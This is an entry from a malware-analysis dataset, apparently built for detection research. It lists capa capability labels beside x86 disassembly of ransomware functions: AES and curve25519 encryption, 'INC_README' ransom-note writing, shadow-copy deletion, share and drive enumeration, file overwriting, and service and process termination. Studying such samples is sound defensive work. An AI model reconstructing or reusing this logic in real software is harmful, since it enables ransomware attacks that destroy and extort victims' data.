joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push ecx
movzx eax, byte [edx]
push ebx
push esi
mov esi, ecx
mov ebx, 4
mov byte [esi], al
movzx eax, byte [edx + 1]
mov byte [esi + 1], al
movzx eax, byte [edx + 2]
mov byte [esi + 2], al
movzx eax, byte [edx + 3]
mov byte [esi + 3], al
movzx eax, byte [edx + 4]
mov byte [esi + 4], al
movzx eax, byte [edx + 5]
mov byte [esi + 5], al
movzx eax, byte [edx + 6]
mov byte [esi + 6], al
movzx eax, byte [edx + 7]
mov byte [esi + 7], al
movzx eax, byte [edx + 8]
mov byte [esi + 8], al
movzx eax, byte [edx + 9]
mov byte [esi + 9], al
movzx eax, byte [edx + 0xa]
mov byte [esi + 0xa], al
movzx eax, byte [edx + 0xb]
mov byte [esi + 0xb], al
movzx eax, byte [edx + 0xc]
mov byte [esi + 0xc], al
lea eax, [esi + 0xd]
mov cl, byte [edx + 0xd]
mov byte [eax], cl
mov cl, byte [edx + 0xe]
mov byte [esi + 0xe], cl
mov cl, byte [edx + 0xf]
mov byte [esi + 0xf], cl
nop word [eax + eax]
mov cl, byte [eax]
mov dl, byte [eax + 1]
mov ch, byte [eax + 2]
mov dh, byte [eax - 1]
mov byte [ebp - 3], cl
mov byte [ebp - 1], dl
mov byte [ebp - 2], ch
test bl, 3
jne 0x4010db
movzx ecx, cl
mov dl, dh
mov dh, byte [ecx + str.cw]
movzx ecx, byte [ebp - 1]
mov cl, byte [ecx + str.cw]
mov byte [ebp - 3], cl
movzx ecx, byte [ebp - 2]
mov cl, byte [ecx + str.cw]
mov byte [ebp - 1], cl
movzx ecx, dl
mov dl, byte [ebp - 1]
mov cl, byte [ecx + str.cw]
mov byte [ebp - 2], cl
mov ecx, ebx
shr ecx, 2
xor dh, byte [ecx + 0x4209f8]
mov ch, byte [ebp - 2]
mov cl, byte [eax - 0xd]
inc ebx
xor cl, dh
mov byte [eax + 3], cl
mov cl, byte [eax - 0xc]
xor cl, byte [ebp - 3]
mov byte [eax + 4], cl
mov cl, byte [eax - 0xb]
xor cl, dl
mov byte [eax + 5], cl
mov cl, byte [eax - 0xa]
xor cl, ch
mov byte [eax + 6], cl
add eax, 4
cmp ebx, 0x2c
jb 0x401080
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401110
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
lea eax, [ecx + 2]
mov esi, 4
nop
mov dl, byte [eax + 1]
lea eax, [eax + 4]
mov bh, byte [eax - 4]
mov dh, dl
mov cl, byte [eax - 6]
xor dh, bh
mov bl, byte [eax - 5]
mov byte [ebp - 2], cl
mov byte [ebp - 3], dl
mov dl, dh
xor dl, cl
xor dl, bl
mov byte [ebp - 1], dl
mov dl, cl
xor dl, bl
mov cl, dl
add dl, dl
shr cl, 7
movzx ecx, cl
imul ecx, ecx, 0x1b
xor cl, dl
mov dl, bl
xor cl, byte [ebp - 2]
xor dl, bh
xor cl, byte [ebp - 1]
mov byte [eax - 6], cl
mov cl, dl
shr cl, 7
add dl, dl
movzx ecx, cl
imul ecx, ecx, 0x1b
xor cl, dl
mov dl, byte [ebp - 3]
xor cl, bl
xor dl, byte [ebp - 2]
mov bl, byte [ebp - 1]
xor cl, bl
mov byte [eax - 5], cl
mov cl, dh
shr cl, 7
add dh, dh
movzx ecx, cl
imul ecx, ecx, 0x1b
xor cl, dh
xor cl, bh
xor cl, bl
mov byte [eax - 4], cl
mov cl, dl
shr cl, 7
add dl, dl
movzx ecx, cl
imul ecx, ecx, 0x1b
xor cl, dl
xor cl, byte [ebp - 3]
xor cl, bl
mov byte [eax - 3], cl
sub esi, 1
jne 0x401120
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4011c0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, edx
mov edi, ecx
mov dword [ebp - 8], eax
sub edx, edi
mov esi, edi
mov ebx, 4
nop dword [eax]
mov ecx, 4
mov al, byte [edx + esi]
xor byte [esi], al
inc esi
sub ecx, 1
jne 0x4011e5
sub ebx, 1
jne 0x4011e0
mov byte [ebp - 1], 1
nop dword [eax]
mov esi, edi
mov ebx, 4
nop word [eax + eax]
mov ecx, esi
mov edx, 4
nop word [eax + eax]
movzx eax, byte [ecx]
lea ecx, [ecx + 4]
mov al, byte [eax + str.cw]
mov byte [ecx - 4], al
sub edx, 1
jne 0x401220
inc esi
sub ebx, 1
jne 0x401210
cmp byte [ebp - 1], 0xa
movzx eax, byte [edi + 5]
mov cl, byte [edi + 1]
mov byte [edi + 1], al
movzx eax, byte [edi + 9]
mov byte [edi + 5], al
movzx eax, byte [edi + 0xd]
mov byte [edi + 9], al
movzx eax, byte [edi + 0xa]
mov byte [edi + 0xd], cl
mov cl, byte [edi + 2]
mov byte [edi + 2], al
movzx eax, byte [edi + 0xe]
mov byte [edi + 0xa], cl
mov cl, byte [edi + 6]
mov byte [edi + 6], al
movzx eax, byte [edi + 0xf]
mov byte [edi + 0xe], cl
mov cl, byte [edi + 3]
mov byte [edi + 3], al
movzx eax, byte [edi + 0xb]
mov byte [edi + 0xf], al
movzx eax, byte [edi + 7]
mov byte [edi + 0xb], al
mov byte [edi + 7], cl
je 0x4012cf
mov ecx, edi
call fcn.00401110
mov ch, byte [ebp - 1]
mov eax, edi
movzx edx, ch
mov ebx, 4
shl edx, 4
add edx, dword [ebp - 8]
nop word [eax + eax]
mov esi, 4
mov cl, byte [edx]
inc edx
xor byte [eax], cl
inc eax
sub esi, 1
jne 0x4012b5
sub ebx, 1
jne 0x4012b0
inc ch
mov byte [ebp - 1], ch
jmp 0x401200
mov ecx, dword [ebp - 8]
mov esi, 4
add ecx, 0xa0
nop dword [eax]
mov edx, 4
mov al, byte [ecx]
inc ecx
xor byte [edi], al
inc edi
sub edx, 1
jne 0x4012e5
sub esi, 1
jne 0x4012e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4046f0
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c0
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push 0x20
push edx
lea eax, [ebp - 0x28]
mov esi, ecx
push eax
call fcn.0041a320
mov al, byte [ebp - 9]
lea ecx, [ebp - 0x16c]
mov edx, dword [ebp + 8]
and al, 0x3f
and byte [ebp - 0x28], 0xf8
add esp, 0xc
or al, 0x40
mov byte [ebp - 9], al
call fcn.00402030
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x28]
push eax
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0x1bc]
call fcn.00402f30
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0x16c]
call fcn.004032b0
lea eax, [ebp - 0x16c]
push eax
lea edx, [ebp - 0x1bc]
lea ecx, [ebp - 0x11c]
call fcn.00401500
add esp, 0xc
lea ecx, [ebp - 0x11c]
call fcn.004019d0
lea ecx, [ebp - 0x11c]
call fcn.00401b80
movups xmm0, xmmword [ebp - 0x11c]
lea edx, [ebp - 0x84]
mov ecx, esi
movups xmmword [ebp - 0x84], xmm0
movups xmm0, xmmword [ebp - 0x10c]
movups xmmword [ebp - 0x74], xmm0
movups xmm0, xmmword [ebp - 0xfc]
movups xmmword [ebp - 0x64], xmm0
movups xmm0, xmmword [ebp - 0xec]
movups xmmword [ebp - 0x54], xmm0
movups xmm0, xmmword [ebp - 0xdc]
movups xmmword [ebp - 0x44], xmm0
call fcn.00402330
mov ecx, dword [ebp - 8]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004096d4
mov esp, ebp
pop ebp
ret
Function at 0x404840
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, ecx
push 0x8000
mov dword [ebp - 8], ebx
call fcn.0040d6b1
add esp, 4
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.INC_README
push esi
call edi
push str..html
push esi
call edi
push 0
push 0
push 1
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4048d4
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
push dword [0x42920c]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [0x42920c]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
jmp 0x4048da
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.INC_README
push esi
call edi
push str..txt
push esi
call edi
push 0
push 0
push 1
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40493b
push 0
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push dword [0x429278]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [0x429278]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call ebx
push esi
call fcn.0040d6ac
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004096d4
mov esp, ebp
pop ebp
ret
Function at 0x4049a0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
push 0x8000
mov dword [ebp - 0x25c], esi
call fcn.0040d6b1
add esp, 4
mov ebx, eax
mov dword [ebp - 0x260], ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x420a64
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x258]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404ab9
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
nop word [eax + eax]
push 0x420a68
lea eax, [ebp - 0x22c]
push eax
call edi
test eax, eax
je 0x404a9c
push 0x420a6c
lea eax, [ebp - 0x22c]
push eax
call edi
test eax, eax
je 0x404a9c
mov eax, dword [ebp - 0x258]
and eax, 0x410
cmp eax, 0x10
jne 0x404a9c
push str.microsoft_sql_server
lea eax, [ebp - 0x22c]
push eax
call edi
test eax, eax
jne 0x404a9c
push 0x8000
call fcn.0040d6b1
add esp, 4
mov esi, eax
push dword [ebp - 0x25c]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x22c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x420aa0
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, esi
call fcn.00404ae0
push esi
call fcn.0040d6ac
add esp, 4
lea eax, [ebp - 0x258]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404a10
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 0x260]
call fcn.0040d6ac
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004096d4
mov esp, ebp
pop ebp
ret
Function at 0x404e00
Capabilities:
Resize volume shadow copy storage

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
mov eax, dword [0x428004]
xor eax, esp
mov dword [esp + 0x34], eax
push esi
push edi
push 0
push 0x80
push 3
push 0
push 3
xorps xmm0, xmm0
mov dword [esp + 0x40], 0x5c005c
push 0x12019f
lea eax, [esp + 0x44]
mov dword [esp + 0x48], 0x5c002e
mov si, cx
mov dword [esp + 0x4e], 0x3a
push eax
mov word [esp + 0x50], si
movlpd qword [esp + 0x2c], xmm0
movlpd qword [esp + 0x34], xmm0
mov dword [esp + 0x3c], 1
mov dword [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x404eaf
cmp dword [0x4287b0], 0
je 0x404f15
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
movzx eax, si
push eax
push str.____Couldnt_delete_shadow_copies_from__c:__Error:__d_n
call fcn.00404800
add esp, 0xc
pop edi
pop esi
mov ecx, dword [esp + 0x34]
xor ecx, esp
call fcn.004096d4
mov esp, ebp
pop ebp
ret
push 0
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x18
lea eax, [esp + 0x24]
push eax
push 0x53c028
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x404eed
cmp dword [0x4287b0], 0
je 0x404f0e
movzx eax, si
push eax
push str.___Successfully_delete_shadow_copies_from__c:___n
call fcn.00404800
add esp, 8
jmp 0x404f0e
cmp dword [0x4287b0], 0
je 0x404f0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
movzx eax, si
push eax
push str.____Couldnt_delete_shadow_copies_from__c:__Error:__d_n
call fcn.00404800
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
xor ecx, esp
call fcn.004096d4
mov esp, ebp
pop ebp
ret
Function at 0x404f30
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x21c
mov eax, dword [0x428004]
xor eax, esp
mov dword [esp + 0x218], eax
push ebx
push esi
push edi
lea eax, [esp + 0x10]
mov dword [esp + 0xc], 0x4000
push eax
push ecx
push 0x13
push 0
push 2
mov dword [esp + 0x28], 0xffffffff
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x405062
push dword [esp + 0xc]
call fcn.0040d6b1
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x405058
push dword [esp + 0xc]
push 0
push ebx
call fcn.0040a6b0
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push ebx
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x40504f
nop dword [eax]
xor edi, edi
cmp dword [esp + 0x14], edi
jbe 0x405032
lea esi, [ebx + 0xc]
nop dword [eax + eax]
cmp dword [ebx + 8], 3
jne 0x405018
push dword [esi + 8]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x420aa0
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
cmp dword [0x4287b0], 0
je 0x40500f
lea eax, [esp + 0x18]
push eax
push str.___Found_share:__s_n
call fcn.00404800
add esp, 8
lea ecx, [esp + 0x18]
call fcn.00404ae0
test dword [esi], 2
je 0x405028
lea ecx, [esi - 0xc]
call fcn.00404f30
inc edi
add esi, 0x20
cmp edi, dword [esp + 0x14]
jb 0x404fd0
lea eax, [esp + 0xc]
push eax
push ebx
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x404fc0
push ebx
call fcn.0040d6ac
add esp, 4
push dword [esp + 0x10]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
mov ecx, dword [esp + 0x224]
mov eax, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004096d4
mov esp, ebp
pop ebp
ret

Function at 0x405080
Capabilities:
Create thread
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
lea esi, [edi + 0x41]
push 0x1c
call fcn.0040d6b1
mov ebx, eax
add esp, 4
xor eax, eax
mov dword [ebx], eax
push str.__
mov word [ebx + 4], ax
push ebx
mov byte [ebx + 6], al
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x420b88
lea eax, [ebx + 0xa]
mov word [ebx + 8], si
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor eax, eax
mov word [ebp - 0x10], si
mov word [ebp - 0xa], ax
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0xe], 0x5c003a
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
je 0x4050f8
cmp eax, 3
je 0x4050f8
cmp eax, 4
jne 0x405132
cmp dword [0x4287b0], 0
je 0x40510f
push ebx
push str.___Found_drive:__s_n
call fcn.00404800
add esp, 8
mov ecx, esi
call fcn.00404e00
push 0
push 0
push ebx
push 0x404980
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi*4 + 0x429210], eax
inc edi
inc esi
cmp si, 0x5a
jbe 0x405098
xor esi, esi
test edi, edi
jle 0x405160
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop dword [eax]
push 0xffffffffffffffff
push dword [esi*4 + 0x429210]
call ebx
inc esi
cmp esi, edi
jl 0x405150
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004096d4
mov esp, ebp
pop ebp
ret
Function at 0x405180
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e4
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x27c], 0x420cbc
mov dword [ebp - 0x278], 0x420cc4
xor esi, esi
mov dword [ebp - 0x274], 0x420ccc
mov dword [ebp - 0x270], 0x420cd4
mov dword [ebp - 0x26c], 0x420cdc
mov dword [ebp - 0x268], 0x420ce4
mov dword [ebp - 0x264], 0x420cec
mov dword [ebp - 0x260], 0x420cf4
mov dword [ebp - 0x25c], 0x420cfc
mov dword [ebp - 0x258], 0x420d04
mov dword [ebp - 0x254], 0x420d0c
mov dword [ebp - 0x250], 0x420d14
mov dword [ebp - 0x24c], 0x420d1c
mov dword [ebp - 0x248], 0x420d24
mov dword [ebp - 0x244], 0x420d2c
mov dword [ebp - 0x240], 0x420d34
mov dword [ebp - 0x23c], 0x420d3c
mov dword [ebp - 0x238], 0x420d44
mov dword [ebp - 0x234], 0x420d4c
mov dword [ebp - 0x230], 0x420d54
mov dword [ebp - 0x22c], 0x420d5c
mov dword [ebp - 0x228], 0x420d64
mov dword [ebp - 0x224], 0x420d6c
mov dword [ebp - 0x220], 0x420d74
mov dword [ebp - 0x21c], 0x420d7c
mov dword [ebp - 0x218], 0x420d84
mov dword [ebp - 0x210], edi
nop dword [eax]
nop dword [eax + eax]
mov ebx, dword [ebp + esi*4 - 0x27c]
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x4052cb
mov dword [ebp + edi*4 - 0x2e4], ebx
inc edi
inc esi
cmp esi, 0x1a
jl 0x4052b0
xor eax, eax
push 0x10000
mov word [ebp - 0x20c], ax
call fcn.0040d6b1
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4053cb
push 0x8000
push 0
push ebx
call fcn.0040a6b0
add esp, 0xc
push 0x8000
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [ebp - 0x214], eax
mov esi, eax
test edi, edi
je 0x4053bb
lea eax, [ebp - 0x210]
push eax
push 0x78
lea eax, [ebp - 0x20c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x405355
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 3
jne 0x405355
xor eax, eax
mov word [ebp - 0x20c], ax
jmp 0x4053a6
mov esi, dword [ebp + edi*4 - 0x2e8]
dec edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
je 0x405382
cmp dword [0x4287b0], 0
je 0x4053a0
push esi
push str.______Mounted__s_n
call fcn.00404800
add esp, 8
jmp 0x4053a0
cmp dword [0x4287b0], 0
je 0x4053a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str._______Failed_to_mount__s_Error:__d_n
call fcn.00404800
add esp, 0xc
mov esi, dword [ebp - 0x214]
push 0x8000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x405315
push esi
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
push ebx
call fcn.0040d6ac
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004096d4
mov esp, ebp
pop ebp
ret
Function at 0x4056a0
Capabilities:
Create thread
Get system information on windows

Disassembly:
push esi
push edi
push 0x4291e8
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x4291fc]
push 0
push 0
push 0
push 0xffffffffffffffff
lea edi, [eax*4]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x4291dc], eax
xor ecx, ecx
mov eax, edi
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040d6b1
add esp, 4
mov dword [0x4291e0], eax
xor esi, esi
test edi, edi
jle 0x405724
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
nop dword [eax]
push 0
push 0
push dword [0x4291dc]
push 0x405dc0
push 0
push 0
call ebx
mov ecx, dword [0x4291e0]
mov dword [ecx + esi*4], eax
inc esi
cmp esi, edi
jl 0x405700
pop ebx
mov eax, dword [0x4291dc]
pop edi
mov dword [0x4291e4], eax
pop esi
ret

Function at 0x405800
Capabilities:
Clear file content
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0x8000000
push 3
push 0
push 0
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], 0
cmp eax, 0xffffffff
je 0x405909
lea ecx, [ebp - 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x4254a8
call esi
xor ecx, ecx
add eax, 0x20
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.0040d6b1
add esp, 4
mov ebx, eax
mov dword [ebp - 0x18], ebx
push 0x4254a8
call esi
add eax, 0x20
push eax
push 2
push ebx
call fcn.0040a6b0
mov edi, dword [ebp - 0xc]
add esp, 0xc
mov ebx, dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
push 0
push edi
push ebx
push dword [ebp - 0x14]
call esi
push 0
lea eax, [ebp - 8]
push eax
push 0x4254a8
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x20
push eax
push dword [ebp - 0x18]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push edi
push ebx
mov ebx, dword [ebp - 0x14]
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x18]
call fcn.0040d6ac
add esp, 4
push 0x4254a8
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x20
cmp dword [ebp - 8], eax
sete al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004096d4
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004096d4
mov esp, ebp
pop ebp
ret
Function at 0x406f70
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0xf003f
push str.ServicesActive
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
jne 0x406fc1
cmp dword [0x4287b0], eax
je 0x4070f2
push str.____Failed_to_open_service_manager__n
call fcn.00404800
add esp, 4
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004096d4
mov esp, ebp
pop ebp
ret
push ebx
push edi
mov ebx, dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
lea eax, [ebp - 8]
push 0
push 0
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
push 0
push 0
push 1
push 0x10
push 0
push esi
mov dword [ebp - 8], 0
call ebx
test eax, eax
jne 0x407034
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp eax, 0xea
je 0x407034
cmp dword [0x4287b0], 0
je 0x40701c
call edi
push eax
push str.____Failed_to_enum_services___d_n
call fcn.00404800
add esp, 8
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004096d4
mov esp, ebp
pop ebp
ret
push dword [ebp - 0xc]
call fcn.0040d6b1
add esp, 4
mov edi, eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], edi
push 0
push 0
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
push edi
push 1
push 0x10
push 0
push esi
call ebx
test eax, eax
jne 0x407097
cmp dword [0x4287b0], eax
je 0x407076
push str.____Failed_to_enum_services__n
call fcn.00404800
add esp, 4
push edi
call fcn.0040d6ac
add esp, 4
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004096d4
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 8]
mov eax, 0x420a18
mov dword [ebp - 0x10], eax
xor edi, edi
test ebx, ebx
je 0x4070e3
mov esi, dword [ebp - 0x14]
nop dword [eax + eax]
mov edx, dword [eax]
mov ecx, dword [esi + 4]
call fcn.00406230
test eax, eax
jne 0x4070ce
mov edx, dword [ebp - 0x10]
mov ecx, dword [esi]
mov edx, dword [edx]
call fcn.00406230
test eax, eax
je 0x4070d8
mov ecx, dword [esi]
call fcn.00406ca0
mov ebx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
inc edi
add esi, 0x2c
cmp edi, ebx
jb 0x4070b0
add eax, 4
mov dword [ebp - 0x10], eax
cmp eax, 0x420a28
jl 0x4070a2
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004096d4
mov esp, ebp
pop ebp
ret
Function at 0x407110
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x230], 0x22c
lea eax, [ebp - 0x230]
mov dword [ebp - 0x234], edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [eax + eax]
mov esi, 0x420a34
push dword [esi]
lea eax, [ebp - 0x20c]
push eax
call fcn.0040a19e
add esp, 8
test eax, eax
je 0x40719c
push dword [ebp - 0x228]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x40719c
push 9
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call ebx
add esi, 4
cmp esi, 0x420a48
jl 0x407165
mov edi, dword [ebp - 0x234]
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x407160
push edi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004096d4
mov esp, ebp
pop ebp
ret